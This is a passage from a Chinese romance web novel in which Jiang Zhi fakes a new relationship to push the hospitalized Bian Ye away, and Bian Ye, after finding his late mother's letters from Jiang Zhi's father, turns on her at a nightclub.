她无声地望着他,缓缓伸手,很轻很轻地落在他头发和眉心,像蜻蜓点水一般,只一瞬就收回了手。 悄无声息地起身离开,她小心关上病房门,拿起墙角滴水的伞往外走。 外面的雨好像真的小了点。 姜栀踩着潮湿的鞋走出医院大厅,融进了雨幕里,很快便看不见人影了- 自那天以后,姜栀没再来过医院。 边野发了无数信息却都石沉大海,打过去的电话永远在关机,他问管叔,管叔却爱莫能助。 他心里有种隐隐的不安,却说不上来是什么。 病房门忽然被人推开,他眼底浮起喜色,在看到是宋言旭的刹那,一瞬消散,脸色淡漠地收回视线。 “不至于吧野哥,你这眼神什么意思,这么不待见我?” 他在病床边坐下,拿过苹果削起来,试探着问:“这么多天了,姜妹妹还没来过吗?” 边野面色不算好看,“嗯。” “今天刚开学,可能事情太多了,等放学了她肯定会来看你的。” 宋言旭一直记得那天重症监护室外她的样子,可怜又破碎,任谁看了都揪心。 “她对你的感情不是假的,我这个外人都看得出来。” 边野眉头蹙起,这几天他无数次回想那天醒来时看到她的场景,她分明那样紧张他,难过得止不住眼泪。 除了宋言旭说的这个理由,他也想不出其他的。 她好好学习就好了,没时间来看他也没关系,等出院他会去看她的。 “嗯,”他脸色依旧淡漠,“她在学校这段时间,你多替我看着,别让人欺负她。” 宋言旭咧嘴一笑,“那哪儿能啊,我已经把她看成我的亲妹妹了,她的事包我身上的,谁敢欺负她或者打她主意,小心我揍得他爹妈都不认识。” 边野睨他一眼,“……” 他把削好的苹果递过去,脸上无所谓的笑意敛起,“说真的,苏明歆上次对你动手我就已经不爽了,这次差点害死你,难道继续放任她吗?” 边野眉眼冷厉下来,声音低沉,“她这次不是想害我。” 宋言旭:“?” “那辆车是撞向姜栀的。”如果不是他反应快擦着空隙撞过去,现在躺在医院的就是她了。 “草!”宋言旭气得差点从椅子上跳起来,“她疯了吧,对你动手我还能理解,对姜妹妹动手是几个意思?” “这不是无妄之灾吗?” 边野面色阴沉,“她看不得我过得好。” 他本想慢慢把人逼到死角,但现在看来不必了。 宋言旭没忍住爆了句粗口,怒意升腾,“这次必须办她,这口恶气必须出!” 他看着边野,“你怎么打算?” “她在意什么,我就毁了什么。”他眼底冰寒一片。 他不会放过她。 “行,只要有用得到我的地方你随时说,我绝不推脱。”宋言旭情绪勉强压下来。 “谢了。”他淡淡看他。 宋言旭又恢复了大大咧咧的模样,“都是好哥们谢什么。” 边野没再多言。 得益于一直以来的锻炼,他身体素质不错,恢复得很快,只等下周就可以出院。 这些天,他一直按捺着想见姜栀的心。 知道高三学业繁忙,边野还为她定了个小蛋糕,放学正好可以送到家里。 退出软件,他百无聊赖地进了学校论坛。 他这样的人居然有一天也会有点怀念学校。 只是刚点进去,边野的手就顿住了。 最热的那条是上午出来的。 [校花的新欢,怎么跟谁都这么般配啊] 他呼吸无意识屏住,有种无处安放的慌乱在心底逃窜。 缓了片刻点进去,入目就是一张清晰的照片。 白司裴一身白衬衣,鼻梁上一副金丝框眼镜,干净斯文又儒雅,低眸看着怀里的少女,眼神宠溺。 那个前段时间还在担心他为他掉眼泪的女孩如今却在别人怀里,笑颜如花,看不出一丝不愿。 像当头一棒,边野愣神了许久。 不可置信与怒意后知后觉地窜上来,他捏着手机的手指用力到发白。 这中间……一定有什么误会。 掀了被子,他不管不顾地急速冲出去,过来查房的医生撞见,立马去喊他,“边少你怎么出来了,还在观察期不能出院的!” 他跟听不见似的,直奔电梯。 脑子里只有见姜栀这一件事。 医生也不敢得罪他,赶紧让人通知老边总。 边野到学校的时候,正值放学。 学校里的学生走得差不多了,姜栀因为值日而留到最后。 白司裴就站在教室后门边等她,她有点不好意思,“不用等我的,你可以先回去。” 他温儒一笑,如和煦春风,“没办法,我很有职业操守的。既然答应了假扮男友,自然要做到位。” 姜栀更加不好意思了,加快了收尾工作。 结束后,她关上门,正准备走的时候却被白司裴拉住。 “怎么了?”姜栀眼底露出疑惑。 他收回看向前方的视线,温柔看向她,伸手去拂她耳边碎发。太过突然和亲密的举动令她有些不适,下意识往边上避了下。 “别动。”他另一只手握住她手臂,“他来了,就在后面。” 像惊石砸进平静的湖面,姜栀眼睫颤了下,手指无意识微微蜷起。 “你不是要他死心吗?”白司裴把那缕碎发撩到她耳后,手虚虚覆在她腰上。 并没碰到,但从后面那个角度是看不出来的。 姜栀有些无措。 他微微俯身在她耳侧道:“我了解他,知道怎么做能让他对你彻底死心,但你不能排斥。” 姜栀呼吸发涩,轻轻“嗯”了一声。 明明没有看见他此刻的模样,可心脏已经开始抽痛。 白司裴余光睨了眼站在走廊口脸色阴沉的边野,脑袋偏了几个度,朝着她的脸凑近了些。 她眼睫毛轻轻发颤,还是没忍住排斥,下意识想要偏头,却听到他极低的声音,“我不会对你做什么,只是需要一个假象。” “如果现在挣开我,会功亏一篑。” 姜栀瞳眸失去色彩,涩意漫上来的同时,她松了劲。 任由他保持这个看似接吻的姿势。 就这样吧,就这样结束。 他该去过更好的人生,而不是被她拖累。 白司裴垂眸,瞥见她泛红的眼尾,眉头轻轻蹙了下。 这一幕无疑狠狠刺激到边野。 他垂在身侧的手紧握成拳,手臂上的青筋因为极度愤怒暴凸而起,血脉偾张。 第46章 第 46 章 少年的震惊与怒意来得汹涌无比, 姜栀还没反应过来,手臂突如其来一重,整个人被猛力拉开。 一时没站稳, 她额头撞在他结实的脊背上。 倒是不疼, 可后知后觉意识到, 他为什么会这个时候来, 管叔说过, 他要到下周才会出院, 所以她才会提前找白司裴帮忙。 他是强行从医院出来的吗。 姜栀眼底浮出担忧, 紧张去看他的头。 她想问点什么,但边野已经攥住了白司裴衣领,手臂青筋虬结,指骨发白,“你他.妈想死?” 白司裴也没想到自己有天会答应这么荒谬的请求,但姜栀一开口, 他就跟大脑空白似的毫不犹豫答应。 哪怕知道是假的, 他也愿意。 “你是不是太霸道了点?你喜欢谁谁就非得跟你在一起一辈子?”他丝毫没有被影响,嘴角甚至挂着温和的笑。 “她以前喜欢你,现在就不能喜欢我?我可不比你差。”白司裴目露出挑衅,“现在我才是她男朋友,懂?” “艹!” 他每一句话每一个表情都在无限制地激怒边野,他低吼出声,漆黑的眼狠厉锋锐,一拳朝白司裴狠狠揍过去。 姜栀脸色一白, 心底咯噔一声, 慌忙挡在白司裴跟前。 那只遒劲的拳头极限地停在她眼前,再快一点, 连她也不能幸免。 姜栀逼自己直视他那双过于震惊的眼,喉咙里涩意漫上来,又生生忍回去,“跟他没关系,你要生气就怪我,是我主动找他的。” 她眼眶微微发热,紧捏着掌心暗暗告诉自己一定要撑住。 所有怒意不甘都在此刻化成烟,边野不可置信地盯着她,视线在她脸上一遍一遍地逡巡,却没捕捉到一丝不愿与被迫。 “这里面……一定有误会,对不对?” 他声音低涩下来,黑眸里的锋锐早已散去,只剩无人安抚的孤寂。 姜栀眼睫轻颤了下,“没有误会,我就是——” 她缓缓吸了口气,“不喜欢你了。” 声音不轻不重,却如敲钟般震耳欲聋,他脑子里有短暂的空白。 紧攥着白司裴领口的手忽然就没了力气,缓缓耷拉下来。 他喉结上下滚动,仍压不住从心底泛上来的酸楚,“什么叫,不喜欢我了?” 姜栀呼吸发涩,她眼睫垂下些许,遮掩住那些快溢出来的情绪,“你有什么值得我喜欢的呢?” “是混迹会所一有不如意就对人动手还不听劝,还是一塌糊涂的学习?他们说的没错,你除了有一个好的家世,还有什么呢?” 她觉得自己快说不下去了,缓了两秒才勉强能继续:“可他不一样,他比你优秀很多,我不喜欢你了,以后也不会了。” 说完,她撇开视线,低垂的眼里有泪在打转。 每一个字都像尖锐的刀割开他的血肉。 边野定定望着她,身上的力气像是一瞬间就被抽走了。 他沙哑问:“那为我哭,也是假的吗?” 鼻子一酸,她眼底的泪差点掉下来。 及时背过身。 她唇瓣发颤,“嗯。” 边野望着她的背影许久,扯出一个艰难的笑。 “好,好……” 他看向一直没有出声的白司裴,藏起眼底的悲怆,欲言又止。 几秒后,一步一步从这儿走出去。 听到逐渐远去的脚步声,姜栀没忍住回头,少年背影孤寂,像一棵逐渐枯萎的树。转角下楼,最后彻底消失在她的视野里。 心脏抽痛,眼泪终于不受控制地掉下来。 一颗接一颗。 白司裴在一旁看她,默不作声地叹一口气。 他不明白,明明喜欢边野,为什么要做到这一步。 但她不说,他就也没问。 擦掉脸上的泪,姜栀眼眶依旧红得厉害,脸颊鼻头也都是哭过的痕迹。她偏头看他,“谢谢。” 白司裴温声安抚:“互惠互利的事没必要道谢。” “是你通知他的吗?”她犹豫半天,还是想问。 这件事昨天才和他达成共识,原本打算等边野出院再计划的。 “我在你眼里就是这种人吗?”他语气无奈。 姜栀觉得自己真是昏头了,面露歉意,“抱歉,我只是……” “我知道。”白司裴拍了拍她肩膀,“换做是我也会怀疑一下。” “走吧。” 姜栀侧头,楼下边野的身影越来越远- 边野没回医院,约了一大帮人去金霆。 五彩昏暗的射光来回转现,音乐声大得人耳朵都快要聋了,一群人在里面唱歌跳舞,纸醉金迷。 宋言旭到的时候就看见边野面前的玻璃桌上摆满了酒瓶,有不少已经开瓶了。 他仰头,无知无觉地给自己灌酒。 事态凶猛。 我嘞个乖乖! 宋言旭吓了一跳,赶紧冲过去把他手里的酒夺走,又把桌上还没开封的酒全部挥到一边。 “你疯了吗!刚从医院出来就这么喝,不要命了?” “给我。”他黑眸迷离,伸手要去拿。 “不行!”宋言旭坚决阻拦,“你今天就是打死我,我也不可能让你喝了!” 边野掀起眼皮,昏暗的光线里,黑眸幽冷,睨他一眼,最后往卡座里一倒,胸口因深呼吸而明显起伏。 宋言旭把酒拿得远远的,才过去问:“怎么回事啊,医生准你出院了?” 他已经很长时间没关注过学校论坛,还不知道发生了什么。 在酒精作用下,边野脑子混沌,他抬手,小臂压在额头上。 眼睛一闭,就是那些刺人的话。 见他不说话,宋言旭也只好在他旁边靠下。 良久,他听到边野低沉沙哑的声音:“她不要我了。” 宋言旭愣了下才反应过来,“姜妹妹?” “嗯。”手臂遮掩着他半张脸。 宋言旭迷惑了两秒,“不能吧?你们俩吵架了,还是野哥你惹人生气了?” 边野没说话。 他一路都在想这件事,为什么那天来看他时还那样温柔,为什么短短几天就变成这样。他真的就那么糟吗。 “你俩肯定有什么误会,谈恋爱不就这样吗,吵吵闹闹。”宋言旭拿出手机,“我给姜妹妹打个电话。” 刚点开通讯录,他就听到边野滚砂似的声音:“别。” 宋言旭顿了下,只好退出去。 他叹了口气,又不知道该说什么,只能陪在旁边,至少看着野哥别再给自己灌酒。 片刻后,想到什么,他叮嘱:“野哥我去趟洗手间,你千万别再喝了。” 走到包厢外,宋言旭给池念打了通电话。 池念还在打游戏,突然被电话打断,有点恼火,“谁啊。” 语气不太好,但他有求于人,自然不能在意。 “我,有个事儿求你,成了请你吃饭。” 听出他声音,池念挑眉,“什么事儿,说来听听。” 宋言旭瞥了眼包厢,言简意赅道:“野哥和姜妹妹好像闹了点矛盾,你不是跟她关系好吗,帮忙劝劝。” 池念愣住,一时没说话。 “成不?” 她眼底闪过异色,“这个忙我恐怕真帮不了,你不知道吗,知知已经跟白司裴在一起了,我怎么能去棒打鸳鸯。” “……什么?!”宋言旭差点以为自己幻听。 池念叹息,“这个忙帮不了你了,这是知知自己的事,我不好插手的。” 直到她挂断电话,宋言旭还没能从震惊里回过神来。 沉默了会儿,他推开包厢门进去。 边野还保持着原来的姿势靠躺在沙发里,和周围的热闹相比,越发孤寂。 他还是难以说服自己,姜妹妹怎么会是那样的人。 缓了片刻,他找出姜栀的电话。 原以为不会接通,但很快对面传来温轻的声音。 宋言旭沉了口气,“妹妹,我不知道你跟野哥之间到底发生了什么,他刚出过车祸,还没到出院时间就出来了,转眼喝得烂醉,再好的身体也不经不起这样造吧。” “你……能不能劝劝他,或者跟他说两句话也行。” 姜栀听到这些,握着笔的手无意识收紧,眸色暗下来。 宋言旭走过去把手机递给边野,“野哥,她的电话。” 嘈杂的环境里,边野终于有了反应,他放下手臂,睁开眼,黑色瞳眸滞涩了一瞬才接过。 宋言旭自觉地走远,心里叹了口气。 姜栀握着手机,对面很吵。 她低眸看着书上的题,一道都看不进去,他不说话,她也不知道怎么开口。 良久。 边野低哑的声音传来,“知知。” 只是这么喊了她一句,她鼻子一酸,眼前瞬间一片模糊。 抿着唇把情绪压下去,姜栀尽量平静:“你不爱惜自己的身体,也会给我带来负担。” “你想让我为此愧疚吗?不会,只会耐心告罄。” 话说完便迅速挂断了电话,再多一秒,她就会忍不住哽咽。 边野握着手机的姿势僵硬。 他眼睫垂落,好半天对着已经没有人听的手机“嗯”了一声。 宋言旭远远看着,心里五味杂陈。 怎么会走到这一步,明明他一直看着的,到底是哪里出了问题- 自那通电话后,姜栀没再见到过边野。 生活再次回归平静。 她安安静静学习,还是会对人笑,只是开口的次数逐渐减少,偶尔还会出神。 周五放学,池念一定要拉着她去新发掘的餐厅。 直到天黑,她才回往边家。 下了公交往那条路走的时候,她远远看见个身影坐在大门口,门外灯光昏暗,映照得并不清晰,她警惕了下。 走近了才发现身形熟悉。 听到脚步声,靠着墙低着头的少年动了下,抬眼看过来。 几步路的距离,朝思暮想的人就在眼前。 触手可得。 他眼底透着没睡好的疲意,像即将萎靡的草木,失了精气神。 姜栀瞳眸颤了下,垂在身侧的手指微微蜷起。 片刻,她移开视线。 恍若未见似的朝正门走。 擦身而过的瞬间,裤脚被一股力道拉住。 不重,却足以牵动她。 她目视着前方,没让自己开口。 边野眼底拂过一抹自嘲,明明告诉自己这么晚过来只是在这待一会儿,见不到面不会打扰到她的。 可她在意料之外里出现时,他还是没办法视而不见。 身体比理智先一步,连反悔的机会都不给他。 寂夜里,他声音微哑:“是我做错了什么让你不高兴吗,我可以改。” 那个曾经张狂不羁,离经叛道到没人敢惹的少年,如今像个落魄小狗,卑微地想去汲取那一点温暖。 姜栀眼睫轻颤了下,她知道怎么说会让他难受,可卡在喉咙里一个字都吐不出来。 心口像是堵了团湿涩的海绵,难以喘息。 “你没做错,也很好,只是我们不合适。” “你撒谎。” 他脱口而出,眼底是不甘。 “我没说谎,人要相处之后才知道合不合适,我没什么值得你喜欢的。” 这个角度,边野只能看到她的侧颜,面无表情,像是真的没有半分情谊。 心一点点凉下去。 “农家乐那次呢,你喝醉了说喜欢我,也是假的吗?” 姜栀胸口闷闷的,她捏了捏手指,让自己保持清醒。 “醉话不能当真。” 他轻嗤一声,“所以……你是真的喜欢他吗?” 姜栀应该点头的,可她到底做不出,“我们以后,就不要联系了。”她眼眶发热,周边逐渐泛红,“我很烦每次要笑脸相迎地应对你。” 说完,她径直走进去,那一瞬间,滚烫的泪从眼眶里掉落。 大门关上,边野的手仍旧僵在原来的地方,还保持着拉她裤脚的动作。 片刻后,他收回,没所谓地耷拉在一边。 脑袋仰着,斜斜地靠着墙。 一轮圆月皎洁地挂在天上,周围罩着淡淡光晕。 边野自嘲地笑了笑,眼角有泪滑落,悄无声息地浸入发间。 她是真的不要他了。 第47章 第 47 章 满园是黎女士生前住过的地方, 那时候她刚跟边野的父亲边政刚结婚不久,新婚燕尔,两人在这儿不问世事地住过好一阵子。 后来感情破裂, 这块就再也没人来过。 黎女士去世后, 边政没舍得烧毁遗物, 让人都放在了这里。 边野站在满园门口注视着这座古朴的建筑, 好半天才推门进去。 他说不清自己为什么会来这, 也许只是为了把当初姜栀给他的那封黎女士留下的信放在这里, 毕竟有关她的东西都在这。 房子虽久没人住, 但依旧打扫得干净。 和黎女士不对付以后,他就没想过会再来这,时隔十几年,这里空荡荡的,没有一点人气。 边野在她生前住过的房间门口驻足,良久才握住把手推门进去。 黎女士从前就喜欢把家里布置得温馨有烟火气, 如今死了这间依旧保持当时的模样, 雕花窗边,有光折射进来,仿佛有黎女士的身影。 “小野,你来啦。” 依旧是那样温柔的声音,弯下来的眼里透着和煦,唇边挂着小巧浑圆的梨涡。 恍然如梦,他幽黑的眼眸几不可察地动了下,再定睛时, 窗边的身影已经消散, 只剩那束安静的光。 黎女士的这封信他没有打开过,也不准备看。 她有个收拢信件照片的小箱子。 边野从架子上取下来揭开, 里面满满堆叠着,有无数封信和两份相册。 其中一份可能是没放好,露出一张照片的一脚,他看见半个男人的脸。很陌生,他印象里没这个人,但这张脸却给他一点怪异的熟悉感。 边野拿起那份相册,那张照片顺势滑落。 这是张合照。 照片上的男人阳光俊朗,年轻帅气,和他父亲边政不是一个类型,但并不输他。男人搂着的女人不是别人,正是黎女士。 拍下这张照片时,黎女士意外地没有看镜头,而是侧目看向这个男人,眼里有爱慕和幸福。 原来一直在黎女士心里的人是他。 所以哪怕结了婚,也还要把这些东西收得这么妥帖。 他眼底浮出讥诮,无意间发现照片下角突出一点字印来。反过来,白底上写了一行笔力遒劲的话。 ——小黎,如果注定不能在一起,我会在未来每一天都祈愿你过得幸福快乐。 落款名是姜远。 姜远…… 他脑子里沉冗的回忆被拨开,十三岁那年意外听见的那通电话再次有了印象。 那天,黎女士对着电话那边哭着喊阿远,喊得苦楚心碎,原来……原来阿远就是这个照片上的男人。 边野眸色暗了暗,翻开这份相册。 相册里没有边政,也没有小时候的他。只有这个叫姜远的单人照,还有黎女士跟他的合照,拢共十来张。 每一张都带着年轻与朝气。 他一张一张地翻到最后那张,背后同样写了字。 ——我度日如年,你不在我身边,我活着也没有意义,可我要你记得,你要记我一辈子。 这张落款时倒是添了日期,远在黎边两家联姻之前。 这么多年了,黎女士还真是深情。 边野沉默片刻,合起相册放下。 放回去的时候,他看到一封与照片背后字迹相同的信,来源于孟城。 脑子里有什么快速闪过,他忽然明白这个姜远为什么会让他觉得熟悉。 姜栀已故的父亲。 父女眉眼之间有七分像。 边野抽出那封信时才发现,这个男人写了不止一封。 这里面的信有一大半来源于他。 所以他车祸死后,黎女士才会那么热衷于照顾姜栀,把人接到家里当成自己的女儿。 因为没办法跟黎女士在一起,所以选择带着家人一起死,想但姜栀足够幸运活了下来。这件事,边政知道吗。 一个旧情难忘,一个婚内外情。 怎么不是绝配呢。 可他们何必生下他,面对那些苦难与磋磨。 悲怆与嘲弄交错。 边野面无表情地把所有东西都放了回去,连带那封遗书,全部尘封。 从满园出来时,他再看了一眼边政曾取得名字。 多讽刺。 离开满园,边野漫无目的地踩着油门开车,等意识到自己停在了圣嘉周边时,他打转方向盘想走。 正值放学,圣嘉的学生源源不断涌出来。 那么多人里,他还是一眼就看到了姜栀。 那些源自于她父亲的恨意与厌恶在这一刻烟消云散,他好像拿她一点办法都没有,哪怕清楚黎女士与边政的感情悲剧有姜远的手笔,他还是没办法迁怒她。 原本打转方向盘的手再转不动一点,他远远看着姜栀从人群里走出来。 漂亮夺目又乖巧可爱。 等她上了公交,边野就在后面慢慢跟着,不近不远。 姜栀坐在靠窗的位置,也不知道为什么,下意识往后看了眼,后面车流密集,她收回目光,轻轻将脑袋搁在玻璃窗上。 远处云层交叠,橘红的霞光满天,夕阳余晖在天际处落下。 有风微微吹来,带着还没散去的热意拂在脸上,撩起她耳边一缕发丝。 她今天没有像往常那样直接回去,苏明歆要见她。 说是最后一次,抵住了她想要说出口的拒绝。 苏明歆似乎特别钟爱高级地点。 上一次是都市感的咖啡厅,这一次是西餐厅,来往大多是西装革履的高级白领精英,装潢奢华璀璨。 依旧是靠着落地玻璃窗的座位。 她背着书包进去,桌上已经点好了牛排。 苏明歆看见她,满目热情地朝她招手。 “不知道你喜欢吃什么,就什么都点了一点,如果你还有什么想吃的直接点,让他们加菜。” 她笑着递过来菜单,姜栀看都没看一眼。 “不用,有什么话你直说,我还有作业没有做完。” 苏明歆也不尴尬,把菜单收回来,慢条斯理地切着牛排,放进嘴里咀嚼,“这里牛排味道真的不错,确定不尝尝吗?” 姜栀长得实在漂亮,哪怕没什么表情,也吸引了不少其他桌的客人注视。 “那我先吃点,肚子里的孩子饿得受不了。” 苏明歆也不在意,不疾不徐地一半牛排才有空跟她说话,“我今天叫你来呢不为别的,你不用这么警惕我,我就是单纯想要感谢你。” “毕竟你也是无妄之灾,被牵扯进去的,我也是个做妈妈的人,你无父无母的,我多少也能体谅你。” 她放下刀叉,抬手去拿一边的果汁,目光不经意间滞了下。 视线越过姜栀,透过窗户,看到辆眼熟的车。 苏明歆看了眼连串车牌号,唇角勾起极轻微的弧度。 居然跟来了,没想到边家还出了个情种。 姜栀眉头几不可察地蹙了下,被桌面挡住的手缓缓收紧,“不用,如果你没事,我就走了。”她说完,不再耽误,起身要走。 “等等。” 苏明歆喊住她,姜栀不解回头。 她跟着起来,高跟鞋踩在脚下,怀了孕也很稳地走过来。 “我知道你不喜欢我,没关系,感谢你这件事我是认真的。” 苏明歆唇角弯起笑弧,在她还没反应过来时伸手抱住她。 姜栀眉头一皱,想挣开被她按住。 “最后一次了,别这么应激。”苏明歆拍了拍她的后背,在她下一次挣扎前松了手,脸上笑意温柔,“再见。” 姜栀试图在她脸上捕捉到什么,但并没看见异样。 她抿了抿唇,头也不回地离开。 这些落在边野眼里时,他握着方向盘的手逐渐收紧。 指骨逐渐泛白。 视线随着姜栀离去的方向,直到看不见人影。 良久。 他嘲弄一笑。 什么不能看着他堕落,什么完成黎女士的心愿。 不过都是接近他的幌子! 他眼底色彩晦暗下去,有点点泪意。眼前浮现那晚放学回边家,她忽然要去翡记的场面。 所以那个时候就已经和苏明歆勾结了是吗,所有的一切都是做给他看的,看他像个傻子被她玩得团团转,心底一定很高兴吧。 姜远和黎女士的事,她也一定早就知道了吧。 明明痛恨边家,却还要装作一副纯善柔弱的模样,再接近他,费尽心思让他喜欢上她,最后狠狠甩了他,真是难为她了。 边野呵呵笑着,胸腔都震颤起来。 刺痛四面八方地传进心脏,连个阻挡的东西都没有。 看他现在穷途末路,她该很满意。 漆黑的眼眸被咸涩的泪模糊,他埋着脑袋。 两滴泪接连坠落,滴进黑色裤子里,不见痕迹- 下周四就是黎姨的忌日,姜栀提早去定了束她生前最喜欢的紫苑花。 取了花后她没直接去墓地,而是先打车到金霆。 望着窗外不断倒退的风景,她脑海里回想起昨晚边叔叔打来的那通电话。 “知知啊,明天就是小黎的忌日,小野这孩子一直对我有意见,对他妈也是,前段时间你们还在一块的时候至少愿意跟我好好坐着说话,但现在……” 他轻叹了口气,“他现在是电话不接,信息不回,也好久没回家了,如果不是到了他妈妈的忌日,我也不会给你打这个电话。” 姜栀握着手机,有点局促。 自从和边野分开以后她每一天都很愧疚,那个当时信誓旦旦要和他一起度过难关的女孩就此枯萎。 她不知道怎么面对边野的同时,也不知道怎么面对边叔叔。 这也是分手后她第一次跟老边总通话。 原以为边叔叔是要就这事责问她,可他一个字都没提,语调甚至带了点恳求。 “小黎刚走的时候,他连葬礼都没来,我昨晚梦到小黎说她想孩子了,怪我没本事,把父子关系处得这么糟糕。你和小野的事我知道,但现在我连他人都找不到,这事我思来想去只能求你了。” 一个长辈放下姿态说出这话,必定是真没了法子。 姜栀没有理由拒绝,也找不出任何理由拒绝。 本就是她有错在先。 她当初不该去招惹他,和他在一起却又这样对他。 “好。”她低声应下,心底五味杂陈。 “边叔叔……”她喉咙有些涩意,“您不怪我吗?” 老边总淡淡笑了笑,“你是个好孩子,你做的任何决定都一定有缘由对吗?” 姜栀眼眶一热,哽咽地“嗯”了一声。 “那就行了,我从你身上看到过最纯真的善良。退一步说,这段感情是你们自己的事。” 那晚,她在原地站了许久才去入睡。 姜栀低眸看向怀里的紫苑花,有点失神。 圣嘉里都在传边野这周交了个新女朋友,不少人都在看她的笑话,甚至有人在论坛里建了日经贴:[校花什么时候被白少甩。] 现在好多人看见她都不屑地离她远远的,也不知道他会不会愿意见她。 金霆一如既往的辉煌奢华。 从前姜栀过去找他时,都是报他的名字,服务生就会带着她上去,到后来次数多了,这些人都知道这是边少的心上人,只要她来都会很热情地请她进去。 姜栀抱着花束像以往那样进去时,却被服务生拦住。 太过突然,她一时愣了下。 “我来找边野。”她礼貌出声,但两个人高马大的服务生却将她牢牢堵在大厅外,其中一个很不客气,“不好意思,没有会员不准进入。” 姜栀忽然明白过来。 他不愿意再见她了。 “可以麻烦你们跟他说一声吗,我有很重要的事找他。”边叔叔的恳求言犹在耳,她如果进不去,怎么劝他去看看黎姨。 服务生像听不懂话的人机,一味地重复:“不好意思,没有会员不准进入。” 姜栀没有再为难他们,抱着花往门边站了站。 她没有带手机,也没法联系他,只能寄希望于他早点出来。 这一次没人再对姜栀客气,她在门外站了一个多小时才被宋言旭发现。 但他什么都没说,转身就上了楼。 野哥上次把自己灌醉后,宋言旭原本还担心他会一直颓废堕落下去,没想到没过几天他就变成了从前那样。 混迹会所,沉溺于纸醉金迷。 对想要贴上来的女生也不抗拒,至于最近贴得最凶猛的那位,圣嘉都传她是野哥新女友。分明野哥连关系都没确定,可也并没阻止她在外面乱传。 好像一切又回到从前,但也不完全。譬如野哥对人越来越冷淡,脾气也更差了,好几次有受不了的女生哭着跑出去。 宋言旭回包厢时,里面五彩的镭射光交错变幻着。 一群人在里面唱歌的唱歌,打游戏的打游戏,喝酒的喝酒。 边野靠在卡座里,一身黑T冷厉淡漠,脸上没半点表情,旁边还有个女生贴过来说话,他连眼皮子都没抬一下。 算了。 宋言旭思来想去,还是不说了,她等不到人自然会走的。 良久。 他还是没坐住,走到窗户边看了下。 姜栀依旧乖乖站在门口,只是身形不时摇晃,像是快站不住了。 宋言旭抓了抓耳后,叹一口气,走回去。 心一横,他走到边野身边,低声道:“野哥,她来了。” 连个姓都没说,边野却很清楚他指得是谁。 眼眸沉下去几分,他嗓音淡淡:“赶出去。” 宋言旭顶着惹怒他的压力补了句:“已经快两个小时了,天都要黑了。” 边野恍若未闻,敲出一根烟,旁边的女生很有眼色的递来火。 宋言旭见状,心里叹了口气。 他只能帮她到这了。 片刻后,有人过来喊他去打台球,他“哎”了一声,刚起身准备过去就听到身后传来边野低沉冷漠的嗓音:“让人带她上来。” 宋言旭诧异了一瞬,很快去办。 姜栀被人带上来的时候,双膝酸痛,一双脚麻得厉害,每一步都像踩在细针上。 她强忍着不适,尽量跟上服务生的速度。 边野似有所感般回头,看见她抱着一束花,走路的姿势有点拖沓。 在她抬眼,视线对过来的瞬间,他敛回目光,神色冷厉,周身温度更低。 姜栀过来时,这群不玩闹的人都不由自主地看向她。 谁都知道,这位传奇的校花还在跟边少谈恋爱时就勾搭上了白司裴,比无缝衔接还令人恶心唾弃。 有人忍不住翻白眼,“劈腿女还敢来,脸皮真是厚比城墙。” “谁让人长得漂亮呢,有资本呗。” “……” 这些话声音不算很轻,几乎算是当着她面说了。 什么难听的都有。 姜栀恍若未闻,去看卡座里的少年,比她第一次来这儿见他气场还要阴沉。 她没什么把握,但必须要试一试。 下意识握住怀里的花,她走近了点。 “今天是黎姨的忌日,你可以……和我一起去看看她吗?”她眼底透着不安。 “和你?”边野一直漠然的脸上总算有了点表情,漆黑的瞳孔阴冷中掺杂着戾气,“你算我什么人?” 看见她,他不由自主地想起那天她和苏明歆在西餐厅里友好拥抱的画面,温馨得像达成了什么共识。 还有那些被黎女士封尘在箱子的照片和书信。 姜栀眼睫颤了下,“对不起……” “你是对不起我。”他眼神冰冷,一寸一寸刺人。 那句[我度日如年,你不在我身边,我活着也没有意义,可我要你记得,你要记我一辈子。]他这辈子都不会忘。 “你的好父亲离开人世的时候怎么没把你一起带走?” 姜栀眉头蹙了下,有些无措。 眼眶泛起红意,她忍着那些翻滚而来的涩楚情绪道:“你可以讨厌我恨我,但能不能……能不能去看看黎姨,她没有做错什么。” “她一定很想你。” 边野冷嗤一声,眼底浮起鲜明的嘲讽。 “她现在得以团聚,还不知道多高兴。” 姜栀实在听不懂,“……什么?” 看她这副纯然懵懂的模样,他就想起当初她是怎么顶着这种无辜模样接近自己,一步一步诱导自己为她沦陷。 他现在怀疑,她被歹徒掳走,被程杭越囚禁是不是都是计划之一,只为了将他套牢。 “有意思吗,你还要在我面前装到什么时候!” 他舌尖抵着牙关,后槽牙摩挲,额角有青筋隐现。 那双眼锐利阴狠,她被吓到,捏紧了手指,“你在说什么,我真的不知道……” “不知道。”他低低笑起来,眼里没有半点温度,“事到如今,演技还是这么好。” 他起身一步一步朝着她逼近,阴冷迫人的气场摄着姜栀,她不自觉后退。 不小心撞到桌子,踉跄一瞬,立马抓住球台稳住。 边野手指微蜷了下。 “边野——” 她刚开口,手里的花就被他大力扬了,砸落在地,碎了不少花瓣。 姜栀不可置信地盯着他,心底的慌乱和难过交织蔓延,“你可以生我的气,为什么要扔——” “少在这儿假惺惺!” 他个子高,近距离冷眼盯着她的时候,压迫感十足,像被锁在笼子里沉睡已久的豹子,一朝出笼,五爪锋利,一掌抓下去就能要了人命。 姜栀惊愕在原地,眼底浮着担忧和紧张。 “用一场车祸住进边家,换来泼天富贵,换来我拜倒在你手下,是不是很爽?”他黑眸冷厉讽刺,怒意在胸腔燃烧,恶寒、痛苦、不甘和愤懑交织在一起,搅得他根本没法冷静。 他话音落下的瞬间,一杯冰冷的酒水兜脸泼下。 又快又凶。 周围的看客都忍不住倒吸一口气,噤了声。 包厢里静悄悄。 姜栀握着酒杯的手止不住地发颤。 无论如何都没想过,有一天他会说出这样的话。 爸妈的死是她一生都过不去的坎,是一辈子的潮湿,他可以因为恨她说任何刻薄的语言,可唯独不可以迁怒爸妈。 即便到边家以后,黎姨对她很好很好,可无数次夜里醒来,枕头依旧会被眼泪浸湿。 活着的每一天,她都在想念他们。 失望和哀怒在心头翻涌,她眼眶赤红地盯着他,喉咙里的涩意几乎要冲破,唇瓣也在颤,却一个字都不肯跟他说。 滚烫的泪坠落,她及时擦掉。 错开边野,她蹲下身,小心捡起被摔断的花朵放进花束里,头也不回地抱着紫苑走出去。 冰冷的酒液在皮肤上滑落,一路滑到脖颈。 眼睫上拧着酒珠,他始终低垂着视线,喉结上下滚动,垂在一侧的手缓缓蜷起。 那双赤红破碎的眼睛犹在眼前,先前汹涌翻滚的情绪在胸腔里像是熄了火,再窜不起来分毫。 